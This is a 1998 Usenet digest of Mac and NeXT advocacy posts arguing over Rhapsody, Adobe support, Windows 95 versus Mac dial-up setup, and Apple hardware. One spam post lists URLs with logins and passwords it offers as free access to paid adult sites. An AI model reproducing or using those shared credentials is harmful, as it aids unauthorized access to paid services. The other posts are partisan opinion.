corporate setting I'd certainly expect the YB APIs, in conjunction with
WebObjects and Enterprise Object Framework, to provide a compelling solution.
> The speed of migration may be hastened if consumers demand Yellow Box
> applications. Remember the "PPC Native" stickers people would put on
> their boxes? I remember walking through Microcenter looking for
> _something_ native to run on my new Powermac, just to see the speed.
> Perhaps Yellow Box applications can be made to have that kind of appeal.
>
Interesting point.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 14:07:30 GMT
Organization: P & L Systems
Message-ID: <6i23f2$bll$12@ironhorse.plsys.co.uk>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167>
<6i0usm$aj7$1@news.digifix.com> <6hvsrr$8mm$1@supernews.com>
<6i1pn9$bll$7@ironhorse.plsys.co.uk> <6i1taa$7rr$1@supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ZicoKnows@hotmail.com
In <6i1taa$7rr$1@supernews.com> "Zico" wrote:
> >> An Adobe spokeswoman said that Adobe backed off it.
> >>
> >URL of a statement from an *official* *named* *senior* Adobe exec...?
> You've seen the URL. It's from an Adobe spokeswoman. Spokespeople
> are usually the ones who make public statements, not senior execs.
> Ask the TechWeb writer what the spokeswoman's name is.
>
I'll take something attributable in preference, thanks.
Besides others have said (and I don't have a URL, I would like one if someone
has one to hand) that someone else from Adobe subsequently revised the
statement.
Over and above all this, I would take the presence of Adobe engineers at a
recent Rhapsody developer camp to be a case of actions speaking louder than
words.
> >You haven't been following long enough...
>
> Sure I have. You just posted the URL of an article that's over
> a year old.
>
You said:
"Since I've been following the situation, nobody has ever
produced a URL pointing to Adobe's Rhapsody support.
Only a number of posters claiming that Adobe has
announced Rhapsody support, but NEVER providing
evidence."
I provided evidence, and a URL. Why are you now shifting the goalposts?
Or were you being deliberately disingenuous first time round.
mmalc.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: automatic opening
Date: Mon, 27 Apr 1998 07:53:27 -0700
Organization: Trilithon Research and Trading
Message-ID: <35449BE7.929953D8@trilithon.com>
References: <6i0o2p$c26$2@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
macghod@concentric.net wrote:
* I would think OPENSTEP would automatically open files
* in the correct app, if I had the correct app. FOr
* instance, I have omnipdf, and when I double click
* on pdf files it opens it up in edit.
Tools Inspector.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: simon@fowarding.net
Newsgroups: comp.sys.next.advocacy
Subject: XXXPassword Free
Date: 27 Apr 1998 14:46:33 GMT
Organization: Free Password!
Message-ID: <6i25o9$git@chatta.samart.co.th>
References: idran-1127839490573@vixon.com
If it expire , get password list go to this site
http://205.147.208.53/link/index1.html
Access Free 10,000 Pay Adult Site
http://209.76.160.49/links.html
password : 4908saturday
http://xxx.kuki.co.jp/AVDO/OnDemand/ClipList/index.html
login : tmpoowy9
password : 10nyg917
Enjoy!
Passwords Man!
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca>
Subject: Re: first post
Date: Mon, 27 Apr 1998 12:03:23 -0400
Message-ID: <3544a6b7.0@news.together.net>
Organization: Together Networks - Burlington, VT.
G_o_M_a_c <"ndk"@ eat-no-spaaam nbnet.nb.ca> > wrote in message
<6i0vid$ncp$1@garnet.nbnet.nb.ca>...
>Tom wrote:
>> Here's one confused puppy! The actual procedure is to click new
connection
>> in dialup networking, provide a name for the new entry and the phone
number,
>> click OK and you're done. Double click on the new entry, supply your
usename
>> & password and you're connected. About 5 minutes.
>> ..
>What you are omitting here are the steps you have to take BEFORE you can
>create a New Connection.
>Are you using the same W95 I am? Or just spreading FUD. This is the
procedure
>according to my ISP.
..
Oh, I'm using the same WIN95 as you. The problem is that you didn't bother
to read my post and hence are *still* one confused puppy. The procedure is
as I described.
..
..
>For all the Mac users that haven't had the "chance" to config a net
connection
>on a PC, I suggest you give your Mac a kiss and worship the desktop square
>footage on which it stands:
>Here goes:
>
>Step 1:
>Click My Computer, double click control panel, Double click network icon.
>Check to see if Dial-up adaptor&TCP/IP are there.
>Dial-up adaptor is usually NOT listed, so you have to go through the
process
>of adding it, about 6 mouse click total.
>TCP/IP may or may not be listed, same total, 6 mouseclicks.
..
Dialup networking usually *is* there. You're instructions are way out of
date which is probably contributing to your confusion.
..
..
>Step2
>Click on TCP/IP, click Properties.
>Click Gateway and enter ... Step 2, a total of 20 mouseclicks.
..
Daaaa..... now this *really* is clueless. ISPs negotiate the gateway,
netmask and protocol automatically. *No* mouse clicks here.
..
..
>Step 3
>Click Dial-up adaptor, click properties. Click bindings, uncheck all but
>TCP/IP., total 12 steps.
..
No need for *any* of this since. As I mentioned above, WIN95 protocol
negotiation is completely automatic. *No* mouse clicks here.
..
..
At this point, now get this: YOU ARE PROMPTED TO
>INSERT your W95 CD! To top it off, you are required to RESTART your
computer.
>Total mouseclicks:12
..
Dialup networking is nearly always pre-installed. *No* mouse clicks here.
..
..
>Step 4
>Double click My computer etc...total 12 mouseclicks, AT THIS POINT RESTART
>computer again.
..
This is just plain foolishness. *No* mouse clicks here.
..
..
>Step 5
>total, 13 mouseclicks. At this point, you enter your baud rate.
..
Daaaaa..... WIN95's plug & play has already installed the modem and knows
it's capabilities. *No* mouse clicks here.
..
..
>Step 6
>Click on your New Connection icon, right click properties, total 23
mouseclicks!
..
More foolishness and, of course, *no* mouse clicks.
..
..
>You are now ready to surf the net!!!!!!!But before, put your hand on some
ice,
>you've clicked the poor mouse so many times, you might get DeQuervain's
syndrome!
>After you've completed all these steps, most of the time, you still have to
>start from scratch, because for reasons I ignore, many times it doesn't
work!
..
Sure. Let's see.... with each passing paragraph, you've proven that you're
more and more cluess. Then you try to convice us that while you know how to
network WIN95, it doesn't work.
..
..
>The reason? Some of the stuff you've changed doesn't "stick" and appears 2
or
>3 times in the dialog boxes. I Know because I've experienced it.
..
The actual reason is that you don't know much of what you speak.
..
..
>Now the good news:
>^^^^^^^^^^^^^^^^^
>On the Mac: Select chooser and your port just to make sure your printer is
>connected to the right serial port. I usually disactivate AppleTalk.
>Select your modem (just the type). You don't have to select a baud rate.
> Fill in primary and secondary DNS and search domain.
..
No need for this with WIN95. You got it, *no* mouse clicks and *no* IP
numbers to enter. When do you think the Mac'll catch up? Oooops, I forgot,
it's Rhapsody... isn't it... or maybe the lavender box. Anyway, it's coming
real soon now. BTW, would you care to explain what a "search domain" is?
..
..
>Fill in username,
>password, chack save password if you like.
>At this point, I reboot and voila! It never fails.
..
Sure. After you stunning display of ignorance concerning WIN95 networking,
we're all to believe you're better on the Mac. Count me unconvinced.
..
>This process is representative of the majority of operations on W95. Which
is
>why, as far as I'm concerned, I'd rather spend three and four times more
money
>to purchase a Mac
..
Well, now the truth comes out: someone with to much money and an urge to
support Apple. You and your checkbook must be a big hit in Apple land.
..
(it'll pay for itself for time saved) if I had to, than even
>considering buying a a PC, that runs the most redundant, user unfriendly,
>archaic OS in use today, Windows 95.
..
We all have our standards and opinions. However, since you obviously know so
little about WIN95 networking, one understandably tends to wonder just how
much you know about the rest of it.
..
..
>As far as being a confused puppy, well I'll let others be the judge of
that.
>The fact that you are deliberatly trying to mislead others into beleiving
how
>easy it is to config W95 for internet access, speaks volumes as far as your
>credibility is concerned.
..
Confused puppy is a relatively polite way to describe you current state of
WIN95 & networking awareness.
..
..
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 27 Apr 1998 16:04:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6k9b3q.5s5.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu> <slrn6k44k2.pe0.sal@panix3.panix.com> <6hvvsf$m83$1@ha2.rdc1.sdca.home.com>
On 26 Apr 1998 18:54:07 GMT, Rex Riley <rriley@yahoo.com> wrote:
>In <slrn6k44k2.pe0.sal@panix3.panix.com> Salvatore Denaro wrote:
>> And has anyone else ever had to learn/use APL? Now that is a ugly
>> language. It looks like a language Salvador Dali would design...
>Telecommunications switches worldwide use APL or it's derivitives and
>Financial guru's on the Street hack APL algorithymics. It has its uses...
I never claimed it wasn't useful, just that it looked odd and ugly.
I said the same about perl, a language that I use very often, despite
its self encrypting nature.
I might have found APL much nicer if the symbols it used were closer to
the ones I used in my math classes, rather than those runes. Or if I had
a teacher that spent time on how it was usful, rather than how "gee-wiz
you can manipulate matrices so easily in APL..."
<ObNextAdvocacy>
Having a nicer UI for the programmer, as well as the user can make or
break the system. NextStep might have been totaly forgotten if it weren't
for the great development tools.
</ObNextAdvocacy>
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net>
Subject: Re: first post
Date: Mon, 27 Apr 1998 12:12:28 -0400
Message-ID: <3544a8d5.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Tim Scoff wrote in message ...
<SNIP>
..
..
> In all honesty you shortened the Mac's operation by a few steps. It
>only takes me about twice as many steps on a NT box to set up dial up
>networking as it takes me on a Mac.
..
Eight mouse clicks (including the start menu) on my NT box. So... you can do
it in 4 on your Mac? Tell us what they are.
..
..
<SNIP, more WIN95 networking misinformation>
..
..
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: WARNING! DONKEY DONG VIRUS ATTACHED TO THIS MESSAGE!!!
Date: 27 Apr 1998 16:20:41 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd71f8$1ed2c700$c07498cf@edwint.rauland.com>
References: <6hl83h$ov7$1@nnrp1.dejanews.com>
hotsex4_u@hotmail.com wrote in article <6hl83h$ov7$1@nnrp1.dejanews.com>...
> ALL WHO READ THIS, BE DOOMED! HAIL THE WRATH OF DONKEY DONG!
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
>
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From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: 27 Apr 1998 15:26:19 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6i282r$ctg@newsb.netnews.att.com>
References: <6hv7e1$tq4$1@nnrp1.dejanews.com> <tim-2604980844350001@jump-k56flex-0032.jumpnet.com>
Originator: gupta@tlctest
Tim Olson <tim@jumpnet.com> wrote:
>In article <6hv7e1$tq4$1@nnrp1.dejanews.com>, jmcvay@lynn.edu wrote:
>
>| i've seen the noticable difference between in the
>| performance of virtual PC 2.0 in on G3 and non-G3
>| powerPC chips. the G3-optimized virtualPC 2.0 screams
>| on a G3.
>
>This is because the G3 was designed for this kind of code, not the other
>way around. In my experience, scheduling code for a particular processor
>rarely results in a measureable improvement, except for a few tight inner
>loops.
An interesting observation -- isn't Intel's Merced going to depend on smart
compilers to schedule code for it, etc.
-arun gupta
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 27 Apr 1998 16:13:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6k9blt.5s5.sal@panix3.panix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net> <slrn6k43tj.pe0.sal@panix3.panix.com> <19980427030811624965@sdn-ts-002txhousp02.dialsprint.net>
On Mon, 27 Apr 1998 03:08:11 -0500, John Bauer <drifterusa@sprintmail.com> wrote:
><non-advocacy NGs snipped>
>Salvatore Denaro wrote:
>> If Apple couldn't build a $500 newt portible (newtOS has 1/10 the hardware
>> requirements as MacOS) what makes you so sure that they can build a $500
>> Mac portible?
>I don't know that anyone is "sure," but Apple may have one thing now
>they didn't have before: the will to get it done.
Good point. But I still fail to see how Apple can build a $500 Mac
anytime soon. Maybe in 18->24 months.
I am very willing to be surprised, but I am not going to plan around it.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Mon, 27 Apr 1998 09:19:59 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2704980919590001@dante.eng.uci.edu>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34>
In article <B1669D20-66583@207.217.155.34>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
>>Count the number of Mac developers who make horizontal apps that
>>have publicly embraced Rhapsody. (Small number)
>>Divide by the number of Mac developers who have horizontal apps for
>>the MacOS. (Big Number)
>>
>Or you ccould divide by the number of "Top 100" developers who have
>embraced Rhapsody. Oh wait, you can't do that...
CA. #2 on the top 100 list.
-Bob Cassidy
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 27 Apr 1998 09:32:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16A0105-13C47@206.165.43.105>
References: <19980427030812625065@sdn-ts-002txhousp02.dialsprint.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Bauer <drifterusa@sprintmail.com> said:
> As for Microsoft,
> well, I guess you *could* argue that every computer store/department is
> a Microsoft store/department and it's the Apple SWAS at CompUSA that is
> the aberration, but then that would just lead me to rail against
> Microsoft's hegemony again...
Microsoft pays for its shelf space, you know...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Mon, 27 Apr 1998 09:39:53 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2704980939540001@dante.eng.uci.edu>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com> <rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com> <rmcassid-2404981024090001@dante.eng.uci.edu> <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com>
In article <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>In <rmcassid-2404981024090001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
>Is that a thread I missed? Apple fails Rhapsody PPC port?
Does the PPC port include IBM hardware? *All* IBM PPC based hardware?
That'd be good. But aren't IBM's PPC systems typically endian-impaired,
ala pee-cees?
>> Uh, what performance thunder? Apple has a marginal lead in CPU speed, but
>> is on a par or behind pretty much everywhere else. Content creation loves
>> throughput.
>
>Oh my Heck... I bought into that snail thingy / toasted Pentium shtick.
>You're revealing here that all that was so much to do about really nothing?
CPU speed. I want throughput. I can put an UW SCSI-3 card in my Mac, BFD.
Same holds for a PC. The only thing I can't match identically between a
Mac and PC right now is CPU and bus. And today the PC wins on bus speed
and the Mac wins on CPU. Not exactly a slam-dunk, IMO.
>Apples and Oranges... I was talking apps you're concerned with hardware. If
>SGI has the killer content creation apps what markets are Apple apps going to
>hold, then?
I'm confused. What apps are Apple selling? If Apple was to get SGI to port
it's apps to Rhapsody, that gives developers a new market to write apps
for. If SGI were to make high-end workstations running Rhapsody, that
would likely give them considerable attention from the community as users
could migrate nicely from cheap Apple hardware right up through SGI's
stuff. That would effectively negate NTs attraction in that market. SGI
would benefit by a lower cost of entry to their software (through Apple's
cheap hardware) but might suffer in hardware sales. OTOH, they might
benefit from all those people now willing to drop $10k on a fully decked
out PowerMac, who might jump to SGI branded hardware instead. So long as
the apps still run...
>> If Apple can do the hardware alone, then I don't see the need so much. But
>> I have to wonder if they can. Apple has not been very effective at pushing
>> throughput. Not at all. Will this change?
>
>Time's running out. Put up or shut up for SJ and the boys. They better have
>iron behind that Rhapsody ServerOS or Sun, HP and IBM advertising accounts
>will eat them in the media like toasted snail meat, ala Escargot.
>
>This isn't some small time niche they've bit off for themselves. Alot is at
>stake, since Server Performance defines the capabilities of a company's
>products. It didn't help going out and having a public BBQ and not inviting
>their cross-platform friends.
So what's your guess:
1) New high performance hardware straight out of Cupertino?
2) Rhapsody running on IBM iron?
3) New alliance with an SGI, etc?
>> Can they do it? I'm giving Apple a *lot* of credit now for having overcome
>> problems of old, but this is something else altogether.
>
>Welcome to the 2nd Coming... this ain't about fixing!
But can they do it alone?
-Bob Cassidy
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Mon, 27 Apr 1998 11:26:10 -0500
Organization: Texas Instruments
Message-ID: <MPG.fae6da055ab2b68989713@news.itg.ti.com>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net>
In article Lance Togar, ltogar@msn.com says...
> G_o_M_a_c <"ndk"@ eat-no-spaaam nbnet.nb.ca> > wrote in message
> >Fill in username,
> >password, chack save password if you like.
> >At this point, I reboot and voila! It never fails.
> ..
> Sure. After you stunning display of ignorance concerning WIN95 networking,
> we're all to believe you're better on the Mac. Count me unconvinced.
When a Mac has to reboot to load configurations it's "viola!". Even
though Macs take longer to reboot, it's seen as trivial. Everytime a
Windows computer has to do it, it's a long drawn out and painful process
that shows how inferior Windows is. Such silly bias..
--
A world without the Mac is a step closer to utopia.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 27 Apr 1998 09:44:08 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2704980944080001@dante.eng.uci.edu>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net>
In article <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net>,
hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond) wrote:
>Some Intel subsidised company now owns the chips to the Newton.
Actually, Intel manufactures the chips, but Apple and Acorn still own most
of the company that holds the design on the chips.
Apple stands to make several hundred million dollars off of their ARM
investment, which is more than they can say for the Newton.
-Bob Cassidy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 27 Apr 1998 16:10:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6k9bfo.5s5.sal@panix3.panix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net> <slrn6k43tj.pe0.sal@panix3.panix.com> <hi-2808560401340001@1cust238.tnt8.krk1.da.uu.net>
On 26 Apr 1998 03:45:40 GMT, Carl Bond <hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address> wrote:
>In article <slrn6k43tj.pe0.sal@panix3.panix.com>, sal@panix3.panix.com
>(Salvatore Denaro) wrote:
>| And the eMac is just a rumor and some doctored photos on web sites. If
>| Apple couldn't build a $500 newt portible (newtOS has 1/10 the hardware
>| requirements as MacOS) what makes you so sure that they can build a $500
>| Mac portible?
>
>Well, let's see... "scrap the current design, we'll use a Motorola chip
>that's $100 less than the StrongARM chip... motherboard will be made by
>IBM, that's another $100 less..."
The StrongARM chip is not significantly more or less than the PPC in cost
(IIRC), but is offers much better MIP/battery life than the PPC. And I am
not aware of any IBM motherboard that is in an emate formfactor that might
availibe at all.
>That is, if all that stuff really is true... Hmmm...
I don't recomend holding your breath for one...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: 27 Apr 1998 16:16:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6k9bqj.5s5.sal@panix3.panix.com>
References: <6hv7e1$tq4$1@nnrp1.dejanews.com> <tim-2604980844350001@jump-k56flex-0032.jumpnet.com> <6i282r$ctg@newsb.netnews.att.com>
On 27 Apr 1998 15:26:19 GMT, gupta@kcopsrm.tm.tta.moc-mirror after @ <gupta@kcopsrm.tm.tta.moc-mirrorafter@> wrote:
>An interesting observation -- isn't Intel's Merced going to depend on smart
>compilers to schedule code for it, etc.
So Intel is betting on Microsoft's ability to write a smart compiler?
Remind me to short Intel when I finish laughing...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 16:16:17 GMT
Organization: P & L Systems
Message-ID: <6i2b0h$bll$16@ironhorse.plsys.co.uk>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: brad@hutchings-software.com
In <B1669D20-66583@207.217.155.34> "Brad Hutchings" wrote:
> Or you ccould divide by the number of "Top 100" developers who have
> embraced Rhapsody. Oh wait, you can't do that...
>
Why not?
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 09:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16A0007-10066@206.165.43.105>
References: <6i1ppg$bll$8@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
> In <B1697D67-1951D@206.165.43.144> "Lawson English" wrote:
>
> > Interestingly enough, one of the latest interviews with Amelio has him
> > claiming that he and Tavie went to lunch a month or two after the NeXT
> > purchase and Tavie gushed about how much nicer it was to have him
> (Amelio)
> > as boss instead of change-the-direction-of-the-company-every-minute
> Steve.
> >
> Nope, that's not interesting at all.
Interesting comment.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 16:15:29 GMT
Organization: P & L Systems
Message-ID: <6i2av1$bll$15@ironhorse.plsys.co.uk>
References: <B16985D5-39051@206.165.43.144>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B16985D5-39051@206.165.43.144> "Lawson English" wrote:
> But Joe isn't interested in MacOS or MacOS customers. He's interested in
> the Apple OS-du-jour and theoretical customers.
>
Whereas you're interested in the Apple OS-d'hier and theoretical
technologies...?
Given that you seem to want to present yourself as an Apple advocate, do you
have *anything* positive to say about Apple?
Why not just use Windows?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 17:07:49 GMT
Organization: P & L Systems
Message-ID: <6i2e15$bll$17@ironhorse.plsys.co.uk>
References: <6i1ppg$bll$8@ironhorse.plsys.co.uk> <B16A0007-10066@206.165.43.105>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B16A0007-10066@206.165.43.105> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
> > Nope, that's not interesting at all.
>
> Interesting comment.
>
Depends on how much credence you give Amelio.
mmalc.
From: JSenecal@aol.com (Joseph Senecal)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 27 Apr 1998 10:22:27 -0800
Organization: Netcom
Message-ID: <1d852ff.eehofdoxdqe2N@wdl-ca5-30.ix.netcom.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net> <354285FB.35212A1F@ccnet.com> <hi-2808560410480001@1cust238.tnt8.krk1.da.uu.net> <B1682C7D-46987@206.165.43.167> <hi-2808562103540001@1cust166.tnt8.krk1.da.uu.net> <B16983BC-31232@206.165.43.144>
Lawson English <english@primenet.com> wrote:
> Yep. 8-color support in QD was there since the beginning. I don't know of
> any app that ever used it, however, and I have never bothered to read the
> docs on how to use it since any Mac that can show 8 colors can show 256, so
> why bother with the 8-color version in the first place?
Support for color printers was available before a color monitor.
Specifically the Imagewriter II could use a color ribbon and produce 8
colors.
There was a drawing program that supported this color model. I remember
rushing out and buying it when I first got my Macintosh II. I don't
remember what the name of it was (Laser Draw?), But it's the first
drawing program I remember to support color fountains. They were crude,
but they were better than anything available in other programs.
The program wasn't available with one of my hardware updates, so it got
tossed years ago...
Joseph Senecal
Senecal's Custom Programming
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Mon, 27 Apr 98 17:33:33 GMT
Message-ID: <6i2fll$j0c$3@nntp2.ba.best.com>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <joe.ragosta-2604981803240001@elk77.dol.net> <3543f188.0@news.together.net> <joe.ragosta-2704980607100001@elk45.dol.net>
In article <joe.ragosta-2704980607100001@elk45.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <3543f188.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
> wrote:
>
>If you didn't have to reboot, then you didn't do a complete
>installation--some of the network components must have been configured
>before you started.
>
If you configured networking AT time of NT's OS install, you don't need to
reboot.
I find NT's RAS rather easy.. Then again, I've been through installing PPP
under Linux and SGI Irix.. NT is a piece of cake.
As for the mac...
You have to gamble on either using OTT/PPP or FreePPP on different machines
cause of the lousy modem scripts that OTT/PPP has. Don't believe me, just go
to mac.sys.comm and see the OTT/PPP vs. FreePPP threads..
NT don't have that problem. Plus, they have nice features that work...
auto-redial that doesn't hang on you. Call back. Seperate ISP accounts are
much easier..
How many steps on the mac to use different ISP/accounts..
Let see.
1) Go to control panel.
2) Choose TCP/IP config
